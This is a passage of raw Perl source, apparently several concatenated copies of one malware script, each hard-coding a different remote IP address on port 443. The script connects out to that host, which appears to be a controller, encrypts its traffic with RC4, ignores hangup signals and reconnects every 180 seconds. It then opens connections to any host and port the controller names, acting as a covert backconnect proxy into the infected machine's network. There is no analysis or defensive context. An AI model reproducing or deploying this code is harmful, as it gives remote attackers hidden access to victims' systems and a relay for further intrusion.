1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '62.60.131.203'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.170'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.173'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '62.60.131.195'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, 